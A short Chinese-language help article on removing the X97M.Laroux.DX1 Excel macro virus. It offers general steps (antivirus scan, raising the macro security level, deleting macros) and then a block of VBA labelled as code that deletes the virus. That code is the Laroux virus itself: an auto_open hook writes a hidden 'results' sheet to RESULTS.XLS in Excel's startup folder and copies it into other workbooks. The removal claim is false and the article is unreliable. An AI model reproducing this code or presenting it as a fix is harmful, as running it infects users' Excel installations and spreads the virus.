EXCEL中宏毒X97M.Laroux.DX1的解決辦法

　　一般來說，EXCEL是不容易中毒的，要中毒的話，就會中宏代碼的毒。

　　如果您的EXCEL中了X97M.Laroux.DX1的毒，請使用如下的方法來解決。

　　一、常規方法

　　使用殺毒軟件掃描全盤文件，然後，進入安全模式再刪除相應文件即可。

　　二、使用EXCEL來解決

　　①禁止宏運行

　　將EXCEL的安全級別設置為最高，這樣，X97M.Laroux.DX1宏就不能運行了。之後，打開EXCEL，將宏刪除即可。

　　刪除方法為：工具→宏→宏→刪除。

　　②使用宏代碼刪除此毒

　　刪除X97M.Laroux.DX1宏毒的宏代碼如下：

　　Sub auto_open()

　　Application.OnSheetActivate = "ck_files"

　　End Sub

　　Sub ck_files()

　　c$ = Application.StartupPath

　　m$ = Dir(c$ & "" & "RESULTS.XLS")

　　If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

　　If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

　　whichfile = p + w * 10

　　Select Case whichfile

　　Case 10

　　Application.ScreenUpdating = False

　　n4$ = ActiveWorkbook.Name

　　Sheets("results").Visible = True

　　Sheets("results").Select

　　Sheets("results").Copy

　　With ActiveWorkbook

　　.Title = ""

　　.Subject = ""

　　.Author = ""

　　.Keywords = ""

　　.Comments = ""

　　End With

　　newname$ = ActiveWorkbook.Name

　　c4$ = CurDir()

　　ChDir Application.StartupPath

　　ActiveWindow.Visible = False

　　Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

　　, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

　　False, CreateBackup:=False

　　ChDir c4$

　　Workbooks(n4$).Sheets("results").Visible = False

　　Application.OnSheetActivate = ""

　　Application.ScreenUpdating = True

　　Application.OnSheetActivate = "RESULTS.XLS!ck_files"

　　Case 1

　　Application.ScreenUpdating = False

　　n4$ = ActiveWorkbook.Name

　　p4$ = ActiveWorkbook.Path

　　s$ = Workbooks(n4$).Sheets(1).Name

　　If s$ <> "results" Then

　　Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

　　Workbooks(n4$).Sheets("results").Visible = False

　　Else

　　End If

　　Application.OnSheetActivate = ""

　　Application.ScreenUpdating = True

　　Application.OnSheetActivate = "RESULTS.XLS!ck_files"

　　Case Else

　　End Select

　　End Sub